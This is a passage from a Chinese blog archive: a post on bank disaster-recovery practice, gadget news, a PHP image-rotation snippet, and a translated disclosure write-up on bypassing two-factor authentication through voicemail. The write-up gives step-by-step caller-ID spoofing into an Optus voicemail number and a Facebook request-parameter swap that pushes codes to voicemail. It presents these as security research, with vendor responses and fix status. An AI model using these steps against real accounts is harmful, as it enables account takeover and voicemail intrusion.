再说容灾系统,强调一个连很多IT人都不清楚的事实:银行容灾系统不会轻易启用整体切换!前面已经说了,IT系统已经这么复杂了,容灾系统相当于再复制一套,复杂性增加了不止2倍。切换起来是非常麻烦,非常伤筋动骨,惊动非常多人力物力,不是碰到大灾大难(比如地震,机房着火,恐怖分子爆炸之类)不会进行切换。 当然平时会进行容灾切换演练,但一般不会拿核心系统来真实切换,原因是有风险。以前也出现过华东某省级行(还是某省某运营商?记不太清楚了)切换到了容灾中心后切不回生产中心的悲催惨剧。最近西北某地农信社成功的把核心生产切到了容灾系统上,比较不简单,不过这毕竟是独立法人的小银行,大行不是这么个玩法。 这么说吧,迄今为止,五千年来,四大行的核心容灾系统都没出现过需要两地切换的重大灾难的场景,和准备买iPhone6的肾一样,有两个,没切过,但时刻准备着切….其实个人不太靠谱的猜想,就算停个三五天,各大行都不会愿意全业务切换,今天这种停几小时的算个毛有啥好切的,赶快修好系统就是了。 另外,看到有不少评论说“没人敢担风险切换到灾备节点上”。其实一般是这样的:建好容灾系统之后往往都会写一套DRP(灾难恢复计划)或者BCP(业务连续性计划),就是容灾系统启动的流程方案,里面会规定好什么场景下由什么人拍板切换到灾备中心,一般不会真出问题才临时来拍脑袋来想,(当然临时调整也是有可能的),也不是谁说切换就谁去背黑锅。 当然,大部分的小故障会通过双机切换,快速重启部分应用的等方式解决。但很快解决了,你们就意识不了其实已经出过故障了嘛,是不是有点人择原理的味道?……但总有无法快速解决的问题。补充一句,当然业界有很多新技术已经把备份高可用灾备等揉在一起了,但银行业应用还不多,这里就不展开了。 **升级要失败,快速回退不就好了嘛?** 一个常见的误会:升级不成功马上回退啊。这是很理想的情形,现实的情形是这样的: 1)技术上无法回退。我举个例子,你从winxp升级到win7,升到一半,蓝屏了,或者报某个文件包找不到了。你会回退吗? 2)回退的风险更大,升级过程中很多配置,软硬件都改掉了,改不回来了,或者耗费的时间比继续升级更大。 3)硬着头皮冲过去就算超了时间的还能找个理由掩饰一下,回退了就确定升级失败了,下次继续升级的政治压力会很大。 所以实际情况中,除非可以很干净利落的回退,而且实在升级无法成功,才会回退。真的升级切割出问题会进行回退的不超过5%。 **周日到底出什么问题了?** 在中国,无论出现什么IT系统问题,对外宣称总是电脑系统升级。我以前就有个变态的习惯在处理故障中途如果有空(等别人处理或者等系统回滚什么的时候)就打呼叫中心电话,听那些美眉怎么解释系统用不了了。清一色的,100%的,毫无例外都说是电脑系统升级。当我再问为什么大白天升级啊?为什么之前不通知我们客户啊?这时候就能体现呼叫中心的培训能力的差距了。 回到今天这事,别说我现在还没去八卦,就算知道了也不可能公开说,这是职业操守的问题。而且有的故障的真相是查不出来的(你知道你每次生病的确切原因吗?),有的故障是查出来但不能实说(一般故障分析报告书很快就能到竞争对手手中)。这种情况下,怎么去写故障分析报告,是一门艺术:真相不重要,达到目的才重要。这个目的有可能是大事化小,有可能是小事化大,水深着呢。 **这几天微信圈里,继续在讨论宁夏银行系统问题,据圈内人士透露,银监会正在查这件事情, IBM和飞康都在等待结果。相信事实的真相不久后将浮出水面。** 银行系统相对复杂,银行IT建设也相对要求严格与苛刻,在建设好了IT系统之后,只是万里长征走了第一步,后面更为重要的是长期的运行与维护,包括核心系统、数据库的后续维保等,因此,这也是为什么某国内著名厂商舍得将设备免费送给银行测试一年多,希望得到银行采购后长期使用,只有使用之后才有价值,一旦使用了,后续的服务收费才是真金白银。 因此,不管是什么情况,不管遇到什么变化,只有长期的服务品质不变,长期保持演练时的心态不变,即便遇到突发情况,也会比想象的情况要好一些。 [以史为鉴:宁夏银行7月系统瘫痪最新解析](http://blog.jobbole.com/75051/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 树莓派摄影大赛精选照片亮相欣赏 Date: 2014-08-08 URL: https://blog.wo.ai/archives/699 Categories: Uncategorized 全球著名开源硬件公司 Adafruit 在今年6月份举办了树莓派摄影挑战赛,在历经了两个多月的角逐今天该挑战赛的冠军终于诞生,冠军能够获得价值$314的 Adafruit 商城代金券,而其他14名获奖选手获得$30代金券…… [![53de20ebaf601](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b9a73832a7_69ec39c4b694ef619298fdc3810a57d4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b9a73832a7_69ec39c4b694ef619298fdc3810a57d4.jpg "树莓派摄影大赛精选照片亮相欣赏") 本次大会公开向社交媒体用户开放,用户只需要使用树莓派的摄像头拍摄照片然后打上#RPPA标签上传到社交网络就能参与本次活动,本次活动收集了大量的图片,经过 Adafrui t最终评定下面这张全景图成为了为本次冠军。 [![53de20e73f82d](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad9a892e82_f80bc7b9a6db05f1ac8d2d3a845f3e4a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad9a892e82_f80bc7b9a6db05f1ac8d2d3a845f3e4a.jpg "树莓派摄影大赛精选照片亮相欣赏") 本次图像挑战赛的冠军,利用乐高和树莓派打造的[Panobot](http://pi.gbaman.info/?p=174)拍摄 [![53de20e9060f3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0d0dd8881_50b9a7023f78fd25f4bc45e1722a1941.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f0d0dd8881_50b9a7023f78fd25f4bc45e1722a1941.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e73f82d](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4f68d629da_f80bc7b9a6db05f1ac8d2d3a845f3e4a1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4f68d629da_f80bc7b9a6db05f1ac8d2d3a845f3e4a1.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e7ee00c](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/88214a648b_b157b47ee2a197409367637e42971db9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/88214a648b_b157b47ee2a197409367637e42971db9.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e82fb7e](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f35847d136_d3f2a905d3688560e3d1466c30940e7f.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f35847d136_d3f2a905d3688560e3d1466c30940e7f.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e84e93a](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/be36b50c6f_2e8cee0a52463e5380cff60dee992091.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/be36b50c6f_2e8cee0a52463e5380cff60dee992091.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e86b81b](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82bb414e77_7057dcab5f044bc0744b053c3edd75be.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82bb414e77_7057dcab5f044bc0744b053c3edd75be.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e8aa253](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8a7698e210_5e09d1c68fa34557fdd00eedc8ffff7d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8a7698e210_5e09d1c68fa34557fdd00eedc8ffff7d.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e923532](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5153c1d289_494d1586edbd7d8793d52c3eb656603e.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5153c1d289_494d1586edbd7d8793d52c3eb656603e.jpg "树莓派摄影大赛精选照片亮相欣赏") [![53de20e954de8](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55ae0a0a7d_5e79b0f8236378425fc99db27fcaf777.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55ae0a0a7d_5e79b0f8236378425fc99db27fcaf777.jpg "树莓派摄影大赛精选照片亮相欣赏") [树莓派摄影大赛精选照片亮相欣赏](http://www.geekfan.net/11180/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## BULBING:3D视觉的创意台灯 Date: 2014-08-06 URL: https://blog.wo.ai/archives/668 Categories: Uncategorized 一盏好看的台灯,会给房间带来不错的视觉效果,比如这款**“3D”立体感的台灯——BULBING** 。 BULBING是一款非常挑战大脑和眼睛的LED错觉台灯,它看似是个立体图案,实际上是**一块厚度仅有5毫米的有机玻璃** ,每一块都通过激光雕刻出三维线性图案,点亮后会出现3D立体视觉效果。 它有各种图案,如气球、灯泡、骷髅头等形状,灯的底座是桦木胶合板,想要啥图案就换上相应的玻璃即可。特有的节能技术使**灯泡寿命也变得很长,并且不会过热** ,换灯泡很容易。 目前,BULBING已在众筹平台[Kickstarter](https://www.kickstarter.com/projects/studiocheha/bulbing-a-magical-lamp-design-light-up-your-life)上筹得超过十倍的资金,一个灯座加一个灯的价格**约为30英镑(约318元)** ,图案不同价格也不同。 [![4f35e312bdfd4b6698e4dfc47495af7c](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f2e7c57a65_d138866a6a1659d29d299036ef21e0b8.gif)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f2e7c57a65_d138866a6a1659d29d299036ef21e0b8.gif "BULBING:3D视觉的创意台灯") [![s_994fd9c2029540bc9b1f571d608108a4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/729a6f8a20_6b9767584114b069548f914104c63781.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/729a6f8a20_6b9767584114b069548f914104c63781.jpg "BULBING:3D视觉的创意台灯") [![s_ee854b2058db4be49470dc502fcb9bfc](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad43a09f5f_21d502f10c23b3c610a6dc94c46465b4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad43a09f5f_21d502f10c23b3c610a6dc94c46465b4.jpg "BULBING:3D视觉的创意台灯") [![s_de3867ca870740cfb30822efc5259880](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d679588e52_833a328449accb2a506554a69d9689c5.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d679588e52_833a328449accb2a506554a69d9689c5.jpg "BULBING:3D视觉的创意台灯") [![s_53d6c63dc23b47b6a1377de2ef9e9d18](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a915890506_9a0df0c11baef81d64d316a4edd491cb.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a915890506_9a0df0c11baef81d64d316a4edd491cb.jpg "BULBING:3D视觉的创意台灯") [![s_0b2f4df12363457089a22eebbec8e034](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/801df6ac4c_a710db1274dbb3b28716134e9b169efe.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/801df6ac4c_a710db1274dbb3b28716134e9b169efe.jpg "BULBING:3D视觉的创意台灯") [![s_0cffad2c74e344efaec1e5ffdd56e576](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd365c7456_00eadde2aaaf838dc4a7666b4e93bf82.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cd365c7456_00eadde2aaaf838dc4a7666b4e93bf82.jpg "BULBING:3D视觉的创意台灯") [![s_5bdbf2a572be4132908e5866f472d75e](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/015dde677c_870304f5f7ab72eb96dab5998b1844d1.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/015dde677c_870304f5f7ab72eb96dab5998b1844d1.jpg "BULBING:3D视觉的创意台灯") [![s_3b4b389521144409b6af2c344d9ab397](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc61e5bc84_d48b66f9d4224558bdcfdc4fba260e00.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc61e5bc84_d48b66f9d4224558bdcfdc4fba260e00.jpg "BULBING:3D视觉的创意台灯") [![s_f54d980eb4d7426d8fa833956646684b](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b937d8116b_b6449d42441ac30b644985593cc3b433.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b937d8116b_b6449d42441ac30b644985593cc3b433.jpg "BULBING:3D视觉的创意台灯") [BULBING:3D视觉的创意台灯](http://www.geekfan.net/11147/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## PHP根据图片Orientation旋转图片 Date: 2014-08-06 URL: https://blog.wo.ai/archives/591 Categories: Technology 最近发现发送到微信公众平台的图片被旋转了90度,导致后续操作出错。后来仔细研究,发现用iphone前置摄像头拍出来的照片会自动镜像,而且会右旋90度,之前TX服务器会处理这种情况,貌似最近不干了,害客户抱怨我这里的问题。 然后开始研究服务器传回来照片的格式,发现exif里面Orientation的值为6,正好是右旋了90度,正好可以根据这个来自动调整图片。 首先读取exif值 $exif = exif_read_data($src, 0, true); if($exif[‘IFD0’][‘Orientation’]==6){ flip($src,$src,-90); } 其实还有其他方向,也可以根据这个来旋转,我这里只需要这么多。 另外附上flip方法 function flip($filename,$src,$degrees=90) { //读取图片 $data = @getimagesize($filename); if($data==false)return false; //读取旧图片 switch ($data[2]) { case 1: $src_f = imagecreatefromgif($filename);break; case 2: $src_f = imagecreatefromjpeg($filename);break; case 3: $src_f = imagecreatefrompng($filename);break; } if($src_f==””)return false; $rotate = @imagerotate($src_f, $degrees,0); if(!imagejpeg($rotate,$src,100))return false; @imagedestroy($rotate); return true; } 万一你机器上面没有exif模块,参照我前一篇博文。 --- ## 我是如何绕过Google和Facebook等大站的两步验证的 Date: 2014-08-06 URL: https://blog.wo.ai/archives/754 Categories: Uncategorized 我记得在两年前,两步验证(2-Factor-Authentication, 2FA)变得非常普及并且在各大主流网站(Google, Facebook, Yahoo 等)广泛应用。那时我十六岁,天真的我想不通为什么这么天才的想法之前没有人想到过。在那时,我认为2FA就是一个可以保护自己的金色盾牌,它可以抵御那些最复杂的网络欺诈。 当两步验证依旧是你所使用的主要应用的金色盾牌时,我开始列出以下文档—我是如何用一系列的方法来绕过Google, Facebook, Yahoo, LinkedIn的两步验证以及几乎任何向语音信箱发送两步验证标记的服务的。 注:超过959万的澳大利亚Optus公司的手机用户会受到我下面所说的语音信箱的攻击。这959万使用两步验证的用户中任何一人,都很有可能会受到我下文所说的绕过两步验证的攻击。 ## 两步验证的分析,概念以及流程 ### 两步验证的分析 当将两步验证看做一个整体时,从一个攻击者的角度看来仅仅有这些东西。在我第一次对两步验证的分析中,我经常在想是否可能进行以下的攻击: * 暴力搜索两步验证的pin码(有一些服务,比如苹果,只有四位的pin,并且几乎没有任何频率的限制)。 * 发现pin生成的漏洞。 * 通过某种方法窃取两步验证后的session标记,这样攻击者可以不用通过两步验证就登录账户。 以上技术都是攻击的有效手段,但是通常没有人会使用,因为这些手段太老套了,已经有了相应的防御。 在我经历过这个初步测试的阶段后,我列举了更多的东西,意识到一定有一个弱点能够让我们完全避开两步验证。这个弱点就是语音信箱。 有些读者可能会知道为什么语音信箱容易出问题,因为他们可能听说过2009年英国某些名人的语音信箱被黑客攻击的丑闻。他们进入语音信箱的方式相当让人担心,分为以下几种:默认的语音信箱PIN,未设置语音信箱PIN以及拨打自己电话的方法—都在[**Sophos Security**](http://nakedsecurity.sophos.com/2011/07/08/how-phone-hacking-worked/)中写到过。 在另一起类似的事故中,Cloudflare公司的CEO也是通过语音信箱绕过两步验证的受害者之一。然而,在这一次事件中,攻击更为复杂,要求攻击者设法使得AT&T(美国电话电报公司)的员工将Matthew Prince的语音信箱重定向到一个假的语音信箱处。 ­那些我用来登录到语音信箱账号(仅限于那些已经授权的用于测试的账号)的方法在很久以前我就写过了,并且执行起来并不难。 虽然进入语音信箱的方法受到越来越多的关注,但是这一方法并不适应部分国家的大多数网络。 ### 概念及攻击流程 作为一个攻击者,你需要知道四件事情,才能进入被攻击者被两步验证保护的账号中。它们包括: * 被攻击者的用户名/邮箱和密码。 * 被攻击者关联到两步验证服务的手机号。 * 一个手机号欺诈服务。 * 手机语音信箱远程登录的账号。 在现实中,作为一名富有经验的攻击者,以上四点要求并不难达到。获取用户名和密码可以通过任何传统的方法做到,获取关联的手机号码在现在也并不困难。 手机号欺诈服务,比如[**Spoofcard**](http://spoofcard.com/)(可以显示虚假的手机号码的服务)仅仅花费十美元就可以多次使用并且可以获得手机语音信箱的端点。另外,如果想要避免Spoofcard的登记,他们可以雇佣VoIP服务,打电话人的ID可以是虚假的,作用是一样的。 **攻击第一阶段:** * 攻击者在支持两步验证的网络应用上登录被攻击者的账号。 * 攻击者向被攻击者的手机号拨打电话(只需要20-30秒即可) * 在此之后立即选择两步验证的选项要求通过电话发送两步验证的验证码 由于被攻击者正在跟攻击者通话,两步验证的电话服务就会立即将验证码发送到被攻击者的语音信箱里。 这是第一个漏洞。我是这样认为的,大家或许不同意,但是我想不出别的使验证码发送到语音信箱的方法了。由于这种方法的易用性,这样做的时候有一点危险。根据过去几年的语音信箱黑客的情况来看,通过向语音信箱发送pin,看起来好像不用管下面我将要告诉你们的第二个漏洞,直接就可以绕过两步验证。 当被攻击者没有接两步验证的电话时,两步验证的pin码也会被发送到语音信箱中。 绕过两步验证的第二阶段实际上依赖所谓的语音信箱窃听/电话窃听。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/880f977319_7cc829d3gw1eivacb49iuj20go08cdgq.jpg) 上图是应用于澳大利亚的和我的整个第二部分的方法,它只是和上述移动服务运营商相对应(在未发现其他的运营商之前)。在图中,我展示了我认为容易受到语音信箱攻击的网络以及其他部分或者完全不易攻击的网络。 另外,我必须指出,英国的Three 和EE网络也很容易通过电子欺骗受到语音信箱攻击。这一点最近被英国的[**The Register**](http://www.theregister.co.uk/2014/04/24/voicemail_still_easy_to_hack/?page=2)证实。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8e22f62a9a_7cc829d3gw1eivacbo27mj20go08cjrr.jpg) **完全易受攻击的:** Telco公司的自动数字识别(ANI)或者是Caller ID是用来判断呼叫者是否是语音信箱账户的合法拥有者。如果ANI或Caller ID和账户持有者相匹配,在进入语音信箱账户时系统就不会要求输入pin码。 在美国,可以不通过Caller ID来请求pin码,然而在澳大利亚,据我所知除非服务提供商从他们的服务上来解决问题,否则没有可以预防语音信箱受到欺诈攻击的办法。 1. 通过网络语音电话业务运营商或者专门的欺诈服务提供商获得ANI/Caller ID欺诈服务。 2. 在上文列出的所有的所有易受攻击的服务中,输入目标号码为**+610411000321.** 3. 输入被攻击者的手机号作为要显示的Caller ID. 4. 如果你在使用SpoofCard(可以显示虚假的手机号码的服务),你会收到一个手机号和一个访问码。拨打这个手机号码并输入访问码。 5. 你会连接到被攻击者的语音信箱服务提供商的终端上。在这里输入被攻击者的手机号并按#键、 6. 你现在会拥有被攻击者语音信箱的全部权限。这甚至包括可以改变用户pin码或者是欢迎音乐的权限。 为什么目标号码是**+610411000321****:** * 澳大利亚有三大主要的移动业务运营商:Telstra, Optus和Vodafone。 * Telstra, Optus和Vodafone可以转售他们的服务,因此业务可以拓展到其他的提供商处。 * 所有的中间商用和Optus相同的主要服务(例如账号信息热线,语音信箱服务等)。 * 因此,如果攻击者能够开发任何三个电信提供商其中的任何一个服务的话,每个下属的服务提供商也很有可能受影响。 * Optus呼叫语音信箱的主号码是“321”。 * 然而,当进行欺诈攻击时,由于我们不能呼叫“321”我们需要远程号码去呼叫。 * Optus为在海外的用户提供了一个可以呼叫的远程号码,这个号码就是:**+610411000321** ,并且这个可以作为任何提供欺诈服务的终端。 ****注意:Optus语音信箱中任何易被攻击的端点都已经被固定了,包括我曾经用来绕过他们的端点。**** **部分易受攻击/不易受到攻击的:** 我说过Telstra, Virgin和 Vodafone是部分易受攻击或不易受到攻击的,因为我并没有机会彻底测试攻击语音信箱的能力。然而我的确知道: * ******Telstra** 不管是什么Caller ID或者是ANI都要求一个pin码,因此对于我上文描述的破解来说是安全的。 * ******Vodafone** 在未设置pin码的情况下,如果我通过欺诈服务冒充你的号码拨打,会让我设置pin码或者是进入你的语音信箱。 * ******Virgin Mobile** 我并未测试,然而由于它是Optus网络的一部分,因此它很有可能是易受攻击的。 你如果不确定你现在使用的是哪种网络,或者你想检查一下自己是否是易受攻击的,我的一个朋友(([**Aleksa Sarai**](http://www.cyphar.com/))写了一段程序通过你的手机号来确定你的在澳大利亚的移动网络。你只需输入你的手机号然后点击check就可以了。 你可以在[**Github**](https://github.com/cyphar/voicemail-check)上找到检测移动网络的代码。 * * * ### 向谷歌安全团队揭露 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/123d68b16e_7cc829d3gw1eivallmbfnj20ay02zt8q.jpg) 谷歌是两步验证的早期使用者,它的全部服务都使用了两步验证。如果你所选择的电话公司在语音信箱安全方面管理非常严格的话,谷歌现在使用的两步验证系统还是非常安全的,但是谷歌所提供的两步验证可以绕过的概率其实是非常高的。 假设你现在已经阅读了上文中提到的破解步骤,使我能够绕过两步验证的Google, Facebook, Yahoo 等其他主要的支持两步验证服务的漏洞是当你不在线时,两步验证会发送两步验证标记到你的语音信箱中。单看这一点,这是个很小的问题,但是站在安全的角度上来看,这个漏洞是非常明显的。 语音信箱并未实现全球统一化,它的安全性也是一样的。每个电话公司都运行他们自己的语音信箱管理服务。 1. 语音信箱服务的安全并不由谷歌管理而是由电话商管理。 2. 一旦两步认证的标记或者OTP在语音信箱中,有许多可以攻击的因素,可以撤销标记而不改动谷歌端的数据。 如果你想看我和谷歌对话的全部邮件记录,你可以点击这里[**: google.pdf**](http://static.shubh.am/2fadisclosure/google.pdf)。 注意:通过这个绕过两步验证的方法并不能不动声色地来盗取谷歌账户,因为很有可能一旦登录到支持两步验证的谷歌账户中就会自动向用户发送信息。在前面的步骤中你必须选择拨打电话的方式然后继续破解。这样很可能会引起受害者的警觉。 他们对我最初的破解的回复如下: 嗨, 谢谢你的错误报告。我们已经看了你提交的数据并且确信这不是谷歌产品的安全缺陷。这个攻击假设了一个易被盗取的密码,并且实际的易被攻击性是由于电话商提供的对语音信箱的保护不够充分导致的。请直接向电话商报告这些。 Regrads, Jeremy 虽然我知道语音信箱系统不够安全这是电话商的错误,我仍然觉得谷歌把两步验证标记发送到语音信箱这一做法有缺陷,这是个很危险的做法,并且大部分2FA提供商都不这样做。因此,我作出了以下回复: Hi, Jeremy, 当我发现这些漏洞时,我完全理解并且我也和电话商在不断联系。 澳大利亚和英国的大部分电话商都只要求一个并未锁定的四位的pin码。然而,使用VoIP服务以及Asterisk AGI()的一些脚本就在一天内可以进入语音信箱的账号。 实质上,虽然你说的“这一定是电话商的问题”是对的。这不仅意味着在最近四年里(或更多),在澳大利亚使用Optus提供的服务的人(澳大利亚的大部分人)是非常容易受到绕过两步验证攻击的,这也意味着许多国家的电信商也非常容易受相同种类的攻击。 我觉得把这个问题说成是一个纯粹的电话商的问题,会有点忽略掉两步验证并没有很好的理由来发送到个人的语音信箱里这个事实。另外,先不考虑由于外部的易受攻击性使得谷歌的两步验证可以被绕过这件事,谷歌这样做事实上还是会把敏感信息交给一个可能易受攻击的终端。 另外,在做了一些调查后,我能够跟Duosecurity 和Authy的专门负责两步验证的工作人员交流了。当我第一次发现谷歌发送两步验证的标记到语音信箱时,我非常肯定像Duosecurity 和Authy这样的两步验证服务提供商也是易受攻击的。但是我错了,他们并不会将两步验证标记发送到语音信箱。他们是这样处理这个问题的: * – 在通过语音发送PIN码或者两步验证标记时要求用户的某些交互行为。 * – 在语音信箱留下一个空白信息而不是pin。 * -要求用户的交互作为验证的方式(接到两步验证的电话->告诉用户按下数字键”x”->如果正确按下=确认,如果没有=未确认) 请让我知道你对此有何看法以及谷歌是否有应对这种情况的措施。十分显然这个问题是由于电话商的不安全的语音信箱服务造成的,然而这并不是谷歌或者是我可以控制的因此使得两步验证在某种程度下易受攻击。 两步验证对于那些将Optus手机号和谷歌账户绑定到一起的澳大利亚人来说是无效的,并且至少近四年是无效的(假设其他人已经知道Optus语音信箱的漏洞了)。 谢谢, Shubham 谷歌很快回复道: 嗨, 感谢你解释这个问题的潜在作用域。 由于这并不是我们2SV系统在技术上的缺陷,我不确定我们能够做些什么来应对这个问题。但是我已经把一个bug记录下来并且会让团队成员来看一看。 Jeremy 假设这个问题不能修正,因此目前解决这个问题的最好方法就是禁用通过短信或者电话的两步验证,启用谷歌的两步验证,如果你绑定到手机就可能容易受到攻击。 这个设置方法可以在下面找到:[**https://accounts.google.com/b/0/SmsAuthSettings**](https://accounts.google.com/b/0/SmsAuthSettings) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9c475a8e37_7cc829d3gw1eivacd2t3nj20ij03aaa9.jpg) 另外,当不确定时,可以通过下面的方法通过两步验证来还原谷歌账户: [**https://support.google.com/accounts/answer/183728**](https://support.google.com/accounts/answer/183728) [**https://support.google.com/accounts/answer/152124**](https://support.google.com/accounts/answer/152124) 我自己还原账户时失败了,我的朋友也是一样的。然而一段时间以前,[**Matthew Prince (Cloudflare)**](http://blog.cloudflare.com/post-mortem-todays-attack-apparent-google-app)成功地还原了账户。 状态: ******仍然易受攻击****/****并不会修复** | 揭露时间: **Wed, Apr 30, 2014 at 11:49 AM** ———————————————————————————————————————————————————– ### 向Facebook安全团队揭露 因为我的一个失误,在这次揭露之前我刚刚意识到可以用攻击谷歌的类似方法来攻击Facebook。Facebook称他们的两步验证[**“Login Approvals”**](https://www.facebook.com/help/www/148233965247823)是一个类似于登录通知的特点,但是有额外的安全步骤。 用和上述步骤相同的流程来破解,同样可以绕过Facebook的两步验证。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ce06e35110_7cc829d3gw1eivacet7o7j20fg0a8t9q.jpg) 让Facebook发送验证码到语音信箱的步骤如下: 1. 登录账户。 2. 点击“通过短信发送验证码”。 3. 会显示出拨打电话的选项。 4. 通过拨打被攻击者电话或其他方法保证被攻击者处于通话状态。 5. 点击“电话通知验证码”选项。 6. 验证码会被发送到语音信箱中。 另外,除了上述模式,也可以通过向”[**https://www.facebook.com/ajax/login/approvals/send_sms**](https://www.facebook.com/ajax/login/approvals/send_sms)“发送表单数据为”method_requested=phone_requested”的请求。 这个方法是通过截取最初发送短信的请求,将”sms_requested”替换为”phone_requested”来实现的,它是最有效地方法。 你可以在这里找到我向facebook 披露这个漏洞的完整版本[**facebook.pdf**](http://static.shubh.am/2fadisclosure/facebook.pdf). 然而,他们对此的回复如下: Shubham 你好, 我们目前暂时禁用了通过电话来发送登录验证码的功能,未来还将进一步研究。我们的计划是当可以实现用户在通话中的交互时再重新启用这一功能,这样就可以防止我们将验证码发送到语音信箱中。 Neal, Facebook 安全团队 Facebook在我绕过两步验证之后迅速的禁用了部分功能,他们非常迅速地采取了措施,至少是临时的措施。 状态: 不再会受攻击| 揭露日期: **Sun, May 11, 2014 at 10:28 AM** * * * ### 向 LinkedIn安全团队揭露 正如谷歌和Facebook一样,当被攻击者没有接到系统自动来电或者占线时LinkedIn就会将两步验证码发送到被攻击者的语音信箱中。 LinkedIn处理地很好,他们关闭了通过电话发送两步验证码这个功能,直到他们可以和第三方的两步验证提供商来修复这个问题。 你可以在这里看到我和LinkedIn发送的所有邮件[**linkedin.pdf**](http://static.shubh.am/2fadisclosure/linkedin.pdf). 他们对这一问题的主要回复如下: Shubham,你好 感谢你在公开这个问题之前告诉我们。 虽然这个问题对我们的影响是有限的,但是我们暂时关闭了发送两步验证码的语音的功能。我们正在和第三方协商解决这个问题。在问题修复后,我们会考虑恢复语音功能。 谢谢, David 状态: 不再会受攻击| 揭露日期: **Wed, Apr 30, 2014 at 4:15 AM** * * * ### 向雅虎团队揭露 (通过HackerOne) 雅虎支持两步验证的主要服务也容易受到我上文中所说的攻击。事实上,对支持两步验证的雅虎账号的攻击会更严重因为攻击者并不用担心被攻击者知道他的账号已经登录。 通常支持两步验证的网络应用会在有人登录后发送短信通知。然而,当登录到雅虎账号以后,并不会发送短信,并且可以选择通过短信或者是电话来发送验证码。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b67405a76f_7cc829d3gw1eivacg7cqej20cu0bedgc.jpg) 由于攻击者不用冒着被立刻知道的风险,攻击者会更有可能登录更长时间。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6fa4b3f0a5_7cc829d3gw1eivacgc2hnj20q504yjs6.jpg) 当我揭示这个问题14天后,雅虎仍然没有回复,因此他们仍然很容易受到攻击。 在这里可以看到我揭示雅虎漏洞的全过程[**yahoo.pdf**](http://static.shubh.am/2fadisclosure/yahoo.pdf) 状态: **仍然易受攻击****/****尚未回复** | 揭露日期: **2014-04-29 13:46:16 UTC** * * * ### 向 Authy & Duosecurity揭露 我很快假设那些提供两步验证的服务都一定是易受攻击的。然而,我是错误的—因为他们知道这个事实并且对发送pin码到语音信箱这个问题有着长远考虑。 你可以阅读我和Authy 及 Duosecurity的来往邮件[**authy.pdf**](http://static.shubh.am/2fadisclosure/authy.pdf) and [**duosecurity.pdf**](http://static.shubh.am/2fadisclosure/duosecurity.pdf) 这两个服务提供商都在24小时内给了我回复,并且他们对此都非常热心。 **Authy** | 状态:不易受攻击 | 揭露日期: **Wed, Apr 30, 2014 at 1:27 AM** **Duosecurity** | 状态:不易受攻击 | 揭露日期: **2014-04-29 13:46:16 UTC** Authy会发送空白的语音信息,Duosecurity会在验证前要求用户的交互操作。 感谢[**Authy**](https://www.authy.com/) 和[**Duosecurity**](https://www.duosecurity.com/)! ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e1802ba47_7cc829d3gw1eivachc4tmj20a407awel.jpg) * * * ### 缓解技术和向电话商 Telco 揭露: 